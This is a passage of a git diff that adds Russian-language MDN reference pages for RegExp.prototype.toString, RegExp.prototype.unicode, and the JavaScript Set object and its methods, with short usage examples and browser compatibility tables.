+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+
+<ul>
+ <li>{{jsxref("Object.prototype.toSource()")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/regexp/tostring/index.html b/files/ru/web/javascript/reference/global_objects/regexp/tostring/index.html
new file mode 100644
index 0000000000..2e0d9badec
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/regexp/tostring/index.html
@@ -0,0 +1,116 @@
+---
+title: RegExp.prototype.toString()
+slug: Web/JavaScript/Reference/Global_Objects/RegExp/toString
+tags:
+  - JavaScript
+  - Method
+  - Prototype
+  - Reference
+  - RegExp
+  - регулярные выражения
+translation_of: Web/JavaScript/Reference/Global_Objects/RegExp/toString
+---
+<div>{{JSRef("Global_Objects", "RegExp")}}</div>
+
+<h2 id="Summary" name="Summary">Сводка</h2>
+<p>Метод <strong><code>toString()</code></strong> возвращает строковое представление регулярного выражения.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+<pre class="syntaxbox"><code><var>regexObj</var>.toString()</code></pre>
+
+<h3 id="Parameters" name="Parameters">Параметры</h3>
+<p>Нет.</p>
+
+<h2 id="Description" name="Description">Описание</h2>
+<p>Объект {{jsxref("Global_Objects/RegExp", "RegExp")}} переопределяет метод <code>toString()</code> объекта {{jsxref("Global_Objects/Object", "Object")}}; он не наследует метод {{jsxref("Object.prototype.toString()")}}. Для объектов {{jsxref("Global_Objects/RegExp", "RegExp")}}, метод <code>toString()</code> возвращает строковое представление регулярного выражения.</p>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<h3 id="Example:_Using_toString" name="Example:_Using_toString">Пример: использование метода <code>toString()</code></h3>
+<p>Следующий пример отображает строковое значение объекта {{jsxref("Global_Objects/RegExp", "RegExp")}}:</p>
+<pre class="brush: js">var myExp = new RegExp('a+b+c');
+console.log(myExp.toString());  // отобразит '/a+b+c/'
+
+var foo = new RegExp('bar', 'g');
+console.log(foo.toString());    // отобразит '/bar/g'
+</pre>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>ECMAScript 3-е издание.</td>
+   <td>Стандарт</td>
+   <td>Изначальное определение. Реализована в JavaScript 1.1.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.9.5.2', 'RegExp.prototype.toString')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-regexp.prototype.tostring', 'RegExp.prototype.toString')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+<div>{{CompatibilityTable}}</div>
+<div id="compat-desktop">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Возможность</th>
+    <th>Chrome</th>
+    <th>Firefox (Gecko)</th>
+    <th>Internet Explorer</th>
+    <th>Opera</th>
+    <th>Safari</th>
+   </tr>
+   <tr>
+    <td>Базовая поддержка</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+<div id="compat-mobile">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Возможность</th>
+    <th>Android</th>
+    <th>Chrome для Android</th>
+    <th>Firefox Mobile (Gecko)</th>
+    <th>IE Mobile</th>
+    <th>Opera Mobile</th>
+    <th>Safari Mobile</th>
+   </tr>
+   <tr>
+    <td>Базовая поддержка</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+<ul>
+ <li>{{jsxref("Object.prototype.toString()")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/regexp/unicode/index.html b/files/ru/web/javascript/reference/global_objects/regexp/unicode/index.html
new file mode 100644
index 0000000000..6f585f94f7
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/regexp/unicode/index.html
@@ -0,0 +1,70 @@
+---
+title: RegExp.prototype.unicode
+slug: Web/JavaScript/Reference/Global_Objects/RegExp/unicode
+translation_of: Web/JavaScript/Reference/Global_Objects/RegExp/unicode
+---
+<div>{{JSRef}}</div>
+
+<p>Свойство unicode указывает, используется ли флаг «u» с регулярным выражением. Свойство unicode доступно только для чтения конкретного экземпляра регулярного выражения.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/regexp-prototype-unicode.html", "taller")}}</div>
+
+<p class="hidden">Источник этого интерактивного примера хранится в GitHub репозитории. Если вы хотите внести свой вклад в проект интерактивных примеров, скопируйте https://github.com/mdn/interactive-examples и отправьте нам pull request.</p>
+
+<div>{{js_property_attributes(0, 0, 1)}}</div>
+
+<h2 id="Описание">Описание</h2>
+
+<p>Значение unicode является {{jsxref ("Boolean")}}. True, если используется флаг u, или false - противном случае. Флаг «u» позволяет использовать различные функции, связанные с Unicode. С флагом «u» любые escape-последовательности кода Unicode будут интерпретироваться как таковые, например.</p>
+
+<p>Вы не можете напрямую изменить это свойство. Оно доступно только для чтения.</p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Испльзование_свойства_unicode">Испльзование свойства <code>unicode</code></h3>
+
+<pre class="brush: js">var regex = new RegExp('\u{61}', 'u');
+
+console.log(regex.unicode); // true
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-get-regexp.prototype.unicode', 'RegExp.prototype.unicode')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-get-regexp.prototype.unicode', 'RegExp.prototype.unicode')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<div>
+<div class="hidden">Таблица совместимости на этой странице создается из структурированных данных. Если вы хотите внести свой вклад в данные, зайдите на https://github.com/mdn/browser-compat-data и отправьте нам pull request.</div>
+
+<p>{{Compat("javascript.builtins.RegExp.unicode")}}</p>
+</div>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{jsxref("RegExp.lastIndex")}}</li>
+ <li>{{jsxref("RegExp.prototype.global")}}</li>
+ <li>{{jsxref("RegExp.prototype.ignoreCase")}}</li>
+ <li>{{jsxref("RegExp.prototype.multiline")}}</li>
+ <li>{{jsxref("RegExp.prototype.source")}}</li>
+ <li>{{jsxref("RegExp.prototype.sticky")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/set/add/index.html b/files/ru/web/javascript/reference/global_objects/set/add/index.html
new file mode 100644
index 0000000000..44ac1e81b8
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/set/add/index.html
@@ -0,0 +1,76 @@
+---
+title: Set.prototype.add()
+slug: Web/JavaScript/Reference/Global_Objects/Set/add
+translation_of: Web/JavaScript/Reference/Global_Objects/Set/add
+---
+<div>{{JSRef}}</div>
+
+<p>Метод <code><strong>add()</strong></code> добавляет новый элемент с заданным значением в конец объекта <code>Set</code>.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/set-prototype-add.html")}}</div>
+
+
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox"><code><em>mySet</em>.add(value);</code></pre>
+
+<h3 id="Параметы">Параметы</h3>
+
+<dl>
+ <dt>value</dt>
+ <dd>Обязательное. Значение элемента, добавляемого в объект <code>Set</code>.</dd>
+</dl>
+
+<h3 id="Возвращаемое_значение">Возвращаемое значение</h3>
+
+<p>Объект <code>Set</code>.</p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Использование_метода_add">Использование метода <code>add</code> </h3>
+
+<pre class="brush: js">var mySet = new Set();
+
+mySet.add(1);
+mySet.add(5).add('some text'); // можно делать цепочки
+
+console.log(mySet);
+// Set [1, 5, "some text"]
+</pre>
+
+<h2 id="Спецификация">Спецификация</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-set.prototype.add', 'Set.prototype.add')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-set.prototype.add', 'Set.prototype.add')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+
+
+<p>{{Compat("javascript.builtins.Set.add")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{jsxref("Set")}}</li>
+ <li>{{jsxref("Set.prototype.delete()")}}</li>
+ <li>{{jsxref("Set.prototype.has()")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/set/clear/index.html b/files/ru/web/javascript/reference/global_objects/set/clear/index.html
new file mode 100644
index 0000000000..376c848719
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/set/clear/index.html
@@ -0,0 +1,74 @@
+---
+title: Set.prototype.clear()
+slug: Web/JavaScript/Reference/Global_Objects/Set/clear
+tags:
+  - ECMAScript6
+  - JavaScript
+  - Method
+  - Prototype
+  - set
+translation_of: Web/JavaScript/Reference/Global_Objects/Set/clear
+---
+<div>{{JSRef}}</div>
+
+<p>Метод <code><strong>clear()</strong></code> удаляет все элементы из объекта <code>Set</code>.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox"><code><em>mySet</em>.clear();</code></pre>
+
+<h3 id="Возвращаемое_значение">Возвращаемое значение</h3>
+
+<p>{{jsxref("undefined")}}.</p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Использование_метода_clear">Использование метода <code>clear</code></h3>
+
+<pre class="brush: js">var mySet = new Set();
+mySet.add(1);
+mySet.add('foo');
+
+mySet.size;       // 2
+mySet.has('foo'); // true
+
+mySet.clear();
+
+mySet.size;       // 0
+mySet.has('bar')  // false
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-set.prototype.clear', 'Set.prototype.clear')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-set.prototype.clear', 'Set.prototype.clear')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+
+
+<p>{{Compat("javascript.builtins.Set.clear")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{jsxref("Set")}}</li>
+ <li>{{jsxref("Set.prototype.delete()")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/set/delete/index.html b/files/ru/web/javascript/reference/global_objects/set/delete/index.html
new file mode 100644
index 0000000000..3ba75646a8
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/set/delete/index.html
@@ -0,0 +1,93 @@
+---
+title: Set.prototype.delete()
+slug: Web/JavaScript/Reference/Global_Objects/Set/delete
+translation_of: Web/JavaScript/Reference/Global_Objects/Set/delete
+---
+<div>{{JSRef}}</div>
+
+<div>Метод <code><strong>delete()</strong></code> удаляет уникальный элемент из объекта <code>Set</code>.</div>
+
+<div></div>
+
+<div>{{EmbedInteractiveExample("pages/js/set-prototype-delete.html")}}</div>
+
+
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox"><code><em>mySet</em>.delete(value);</code></pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<dl>
+ <dt>value</dt>
+ <dd>Обязательный. Значение элемента для удаления из объекта <code>Set</code>.</dd>
+</dl>
+
+<h3 id="Возвращаемое_значение">Возвращаемое значение</h3>
+
+<p><code>true</code>, если элемент был успешно удален из объекта <code>Set</code>, иначе <code>false</code>.</p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Использование_метода_delete">Использование метода <code>delete</code></h3>
+
+<pre class="brush: js">var mySet = new Set();
+mySet.add('foo');
+
+mySet.delete('bar'); // Вернет false. Отсутсвует элемент "bar" для удаления.
+mySet.delete('foo'); // Вернет true.  Успешно удален.
+
+mySet.has('foo');    // Вернет false. Элемент "foo" больше не присутствует.
+</pre>
+
+<p>Давайте проверим как удалить Object из Set.</p>
+
+<pre class="brush: js">var setObj = new Set(); // Создаем новый Set.
+
+setObj.add({x: 10, y: 20}); // Добавляем объект в набор.
+
+setObj.add({x: 20, y: 30}); // Добавляем объект в набор.
+
+// Удаляем любой point с `x &gt; 10`.
+setObj.forEach(function(point){
+  if(point.x &gt; 10){
+    setObj.delete(point)
+  }
+})
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-set.prototype.delete', 'Set.prototype.delete')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Изначальное определение.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-set.prototype.delete', 'Set.prototype.delete')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+
+
+<p>{{Compat("javascript.builtins.Set.delete")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{jsxref("Set")}}</li>
+ <li>{{jsxref("Set.prototype.clear()")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/set/entries/index.html b/files/ru/web/javascript/reference/global_objects/set/entries/index.html
new file mode 100644
index 0000000000..52184bd79a
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/set/entries/index.html
@@ -0,0 +1,71 @@
+---
+title: Set.prototype.entries()
+slug: Web/JavaScript/Reference/Global_Objects/Set/entries
+translation_of: Web/JavaScript/Reference/Global_Objects/Set/entries
+---
+<div>{{JSRef}}</div>
+
+<p>Метод  <code><strong>entries()</strong></code> возвращает новый <strong><code><a href="/ru/docs/Web/JavaScript/Guide/Iterators_and_Generators">Итератор</a></code></strong>, который содержит массив <strong><code>[значение, значение]</code></strong> для каждого элемента в объекте <code>Set</code> в порядке их добавления. Для объекта <code>Set</code> не существует ключа <code>key</code>, как в объекте <code>Map</code>. Тем не менее, чтобы API было схож с объектом <code>Map</code>, каждая <em>запись</em> содержит значение как в <em>ключе,</em> так и в <em>значении</em>, возвращая массив <code>[значение, значение]</code>.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/set-prototype-entries.html")}}</div>
+
+
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox"><code><em>mySet</em>.entries()</code></pre>
+
+<h3 id="Возвращаемое_значение">Возвращаемое значение</h3>
+
+<p>Новый <code>Итератор</code>, который содержит массив <code>[значение, значение]</code> для каждого элемента, полученного в <code>Set</code> в порядке их добавления. </p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Использование_entries">Использование <code>entries()</code></h3>
+
+<pre class="brush:js">var mySet = new Set();
+mySet.add('foobar');
+mySet.add(1);
+mySet.add('baz');
+
+var setIter = mySet.entries();
+
+console.log(setIter.next().value); // ["foobar", "foobar"]
+console.log(setIter.next().value); // [1, 1]
+console.log(setIter.next().value); // ["baz", "baz"]
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-set.prototype.entries', 'Set.prototype.entries')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Первоначальное определение</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-set.prototype.entries', 'Set.prototype.entries')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+
+
+<p>{{Compat("javascript.builtins.Set.entries")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{jsxref("Set.prototype.keys()")}}</li>
+ <li>{{jsxref("Set.prototype.values()")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/set/foreach/index.html b/files/ru/web/javascript/reference/global_objects/set/foreach/index.html
new file mode 100644
index 0000000000..5ed212666b
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/set/foreach/index.html
@@ -0,0 +1,110 @@
+---
+title: Set.prototype.forEach()
+slug: Web/JavaScript/Reference/Global_Objects/Set/forEach
+translation_of: Web/JavaScript/Reference/Global_Objects/Set/forEach
+---
+<div>{{JSRef}}</div>
+
+<p>Метод <code><strong>forEach()</strong></code> выполняет функцию по одному разу для каждого элемента из <code>Set</code> в порядке их расположения.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/set-prototype-foreach.html")}}</div>
+
+
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox"><em>mySet</em>.forEach(<em>callback</em>[, <var>thisArg</var>]<code>)</code></pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<dl>
+ <dt><code>callback</code></dt>
+ <dd>Функция, которая будет выполнена для каждого элемента, принимает три параметра:</dd>
+ <dd>
+ <dl>
+  <dt><code>currentValue</code>, <code>currentKey</code></dt>
+  <dd>Текущий элемент из <code>Set</code>. Т.к. в <code>Set</code> нет ключей,  в каждом будет лежать value.</dd>
+  <dt><code>set</code></dt>
+  <dd>Сам объект <code>Set</code> для которого был вызван <code>forEach()</code>.</dd>
+ </dl>
+ </dd>
+ <dt><code>thisArg</code></dt>
+ <dd>Значение, используемое как <code>this</code> в ходе выполнения <code>callback</code>.</dd>
+</dl>
+
+<h3 id="Возвращаемое_значение">Возвращаемое значение</h3>
+
+<p>{{jsxref("undefined")}}.</p>
+
+<h2 id="Описание">Описание</h2>
+
+<p>Метод <code>forEach()</code> выполняет <code>callback</code> по одному разу для каждого значения, которое находится в объекте <code>Set</code>. Функция не будет выполняться для значений, которые были удалены. Тем не менее функция выполнится с элементами, значение которых <code>undefined</code>.</p>
+
+<p><code>callback</code> вызывается с <strong>тремя аргументами</strong>:</p>
+
+<ul>
+ <li><strong>значение элемента</strong></li>
+ <li><strong>ключ элемента</strong></li>
+ <li><strong><code>Set</code> объект обхода</strong></li>
+</ul>
+
+<p>В объектах типа <code>Set</code> нет ключей, поэтому оба первых аргумента принимают <strong>значение</strong> содержащееся в  {{jsxref("Set")}}. Это делает метод  <code>forEach()</code> для объекта Set совместимым с методами <code>forEach()</code> других объектов, таких как {{jsxref("Map.foreach", "Map")}} и {{jsxref("Array.forEach","Array")}}.</p>
+
+<p><code><font face="Arial, x-locale-body, sans-serif"><span style="background-color: #ffffff;">Если аргумент </span></font>thisArg</code> был передан в <code>forEach()</code>, то он будет передан в  <code>callback</code> , во время исполнения, для использование его в качестве <code>this</code>.  Иначе в <code>this</code> будет хранится значение <code>undefined</code>.  Значение <code>this</code> используемое в  <code>callback</code> определено согласно <a href="/en-US/docs/Web/JavaScript/Reference/Operators/this">с обычными правилами определения  <code>this</code> используемого функцией</a> </p>
+
+<p>Каждое значение используется только один раз, исключая те случаи, когда оно было удалено и передобавлено до того, как <code>forEach()</code> завершился. <code>callback</code> не будет выполнена для элементов, которые были удалены до их использования. Новые значения, которые были добавлены до того как <code>forEach()</code> завершился будут использованы.</p>
+
+<p><code>forEach()</code> выполняет <code>callback</code> однажды для каждого элемента из объекта <code>Set</code>; Он не возвращает никакого значения.</p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Содержимое_объекта_Set">Содержимое объекта <code>Set</code> </h3>
+
+<p>Приведенный код показывает состояние каждого элемента в объекте <code>Set</code>:</p>
+
+<pre class="brush:js">function logSetElements(value1, value2, set) {
+    console.log('s[' + value1 + '] = ' + value2);
+}
+
+new Set(['foo', 'bar', undefined]).forEach(logSetElements);
+
+// logs:
+// "s[foo] = foo"
+// "s[bar] = bar"
+// "s[undefined] = undefined"
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-set.prototype.foreach', 'Set.prototype.forEach')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-set.prototype.foreach', 'Set.prototype.forEach')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_в_браузерах">Совместимость в браузерах</h2>
+
+
+
+<p>{{Compat("javascript.builtins.Set.forEach")}}</p>
+
+<h2 id="См._также">См. также</h2>
+
+<ul>
+ <li>{{jsxref("Array.prototype.forEach()")}}</li>
+ <li>{{jsxref("Map.prototype.forEach()")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/set/has/index.html b/files/ru/web/javascript/reference/global_objects/set/has/index.html
new file mode 100644
index 0000000000..45a5de9131
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/set/has/index.html
@@ -0,0 +1,91 @@
+---
+title: Set.prototype.has()
+slug: Web/JavaScript/Reference/Global_Objects/Set/has
+translation_of: Web/JavaScript/Reference/Global_Objects/Set/has
+---
+<div>{{JSRef}}</div>
+
+<p>Метод  <code><strong>has()</strong></code> возвращает логическое значение, показывающее, существует ли элемент с указанным значением в объекте  <code>Set</code> или нет.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/set-prototype-has.html")}}</div>
+
+
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox"><code><em>mySet</em>.has(value);</code></pre>
+
+<h3 id="Parameters">Parameters</h3>
+
+<dl>
+ <dt>value</dt>
+ <dd>Required. The value to test for presence in the <code>Set</code> object.</dd>
+</dl>
+
+<h3 id="Return_value">Return value</h3>
+
+<dl>
+ <dt>Boolean</dt>
+ <dd>
+ <p>Returns <code>true</code> if an element with the specified value exists in the <code>Set</code> object; otherwise <code>false</code>.</p>
+
+ <div class="note">
+ <p><strong>Note:</strong> Technically speaking, <code>has()</code> uses the <code><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Equality_comparisons_and_sameness#Same-value-zero_equality">sameValueZero</a></code> algorithm to determine whether the given element is found.</p>
+ </div>
+ </dd>
+</dl>
+
+<h2 id="Examples">Examples</h2>
+
+<h3 id="Using_the_has_method">Using the <code>has</code> method</h3>
+
+<pre class="brush: js">var mySet = new Set();
+mySet.add('foo');
+
+mySet.has('foo');  // returns true
+mySet.has('bar');  // returns false
+
+var set1 = new Set();
+var obj1 = {'key1': 1};
+set1.add(obj1);
+
+set1.has(obj1);        // returns true
+set1.has({'key1': 1}); // returns false because they are different object references
+set1.add({'key1': 1}); // now set1 contains 2 entries
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-set.prototype.has', 'Set.prototype.has')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-set.prototype.has', 'Set.prototype.has')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("javascript.builtins.Set.has")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{jsxref("Set")}}</li>
+ <li>{{jsxref("Set.prototype.add()")}}</li>
+ <li>{{jsxref("Set.prototype.delete()")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/set/index.html b/files/ru/web/javascript/reference/global_objects/set/index.html
new file mode 100644
index 0000000000..0233c7fcb5
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/set/index.html
@@ -0,0 +1,242 @@
+---
+title: Set
+slug: Web/JavaScript/Reference/Global_Objects/Set
+tags:
+  - ECMAScript6
+  - JavaScript
+  - set
+  - Экспериментальный
+translation_of: Web/JavaScript/Reference/Global_Objects/Set
+---
+<div>{{JSRef("Global_Objects", "Set")}}</div>
+
+<h2 id="Сводка">Сводка</h2>
+
+<p>Объекты <strong><code>Set</code></strong> позволяют вам сохранять <em>уникальные</em> значения любого типа, как {{Glossary("Primitive", "примитивы")}}, так и другие типы объектов.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox"> new Set([iterable]);</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<dl>
+ <dt>iterable</dt>
+ <dd>При передаче <a href="/ru/docs/Web/JavaScript/Reference/Statements/for...of">итерируемого объекта</a>, все его элементы будут добавлены в новый Set. Иначе (или при <code>null</code>) новый <code>Set</code> будет пуст.</dd>
+ <dt>
+ <h3 id="Возвращает">Возвращает</h3>
+ </dt>
+ <dd>
+ <p>Новый <code>Set</code> объект.</p>
+ </dd>
+</dl>
+
+<h2 id="Описание">Описание</h2>
+
+<p>Объекты <code>Set</code> представляют коллекции значений, по которым вы можете выполнить обход в порядке вставки элементов. Значение элемента в <code>Set</code> может присутствовать <strong>только в одном экземпляре</strong>, что обеспечивает его уникальность в коллекции <code>Set</code>.</p>
+
+<h3 id="Сравнение_значений">Сравнение значений</h3>
+
+<p>Поскольку каждое значение в <code>Set</code> должно быть уникальным, сравнение значений основано на алгоритме "подобное значение": <code>NaN</code> равно <code>NaN</code> (несмотря на то, что <code>NaN !== NaN</code>); все другие значения рассматриваются равными исходя из семантики оператора строго равенства ===. В ранних версиях черновика ECMAScript 6 <code>-0</code> и <code>+0</code> считались разными (несмотря на то, что <code>-0 === +0</code>), это было изменено в последующих версиях и адаптировано в Gecko 29 {{geckoRelease("29")}} ({{bug("952870")}}) и <a href="https://code.google.com/p/v8/issues/detail?id=3069">последней ночной сборке Chrome</a>. <code>NaN</code> и <code>undefined</code> также могут сохраняться в <code>Set</code>.</p>
+
+<h2 id="Properties" name="Properties">Свойства</h2>
+
+<dl>
+ <dt><code>Set.length</code></dt>
+ <dd>Значение свойства <code>length</code> всегда равно 0.</dd>
+ <dd>Чтобы узнать количество элементов в <code>Set</code>, используйте {{jsxref("Set.prototype.size")}}.</dd>
+ <dt>{{jsxref("Set.@@species", "get Set[@@species]")}}</dt>
+ <dd>Функция-конструктор, которая используется для создания производных объектов.</dd>
+ <dt>{{jsxref("Set.prototype")}}</dt>
+ <dd>Представляет прототип конструктора <code>Set</code>. Позволяет добавлять свойства всем объектам типа <code>Set</code>.</dd>
+</dl>
+
+<h2 id="Set_instances" name="Set_instances">Экземпляры <code>Set</code></h2>
+
+<p>Все экземпляры <code>Set</code> унаследованы от {{jsxref("Set.prototype")}}.</p>
+
+<h3 id="Свойства">Свойства</h3>
+
+<p>{{page('ru/Web/JavaScript/Reference/Global_Objects/Set/prototype','Properties')}}</p>
+
+<h3 id="Методы">Методы</h3>
+
+<p>{{page('ru/Web/JavaScript/Reference/Global_Objects/Set/prototype','Methods')}}</p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Использование_объекта_Set">Использование объекта <code>Set</code></h3>
+
+<pre class="brush: js">var mySet = new Set();
+
+mySet.add(1); // Set { 1 }
+mySet.add(5); // Set { 1, 5 }
+mySet.add(5); // Set { 1, 5 }
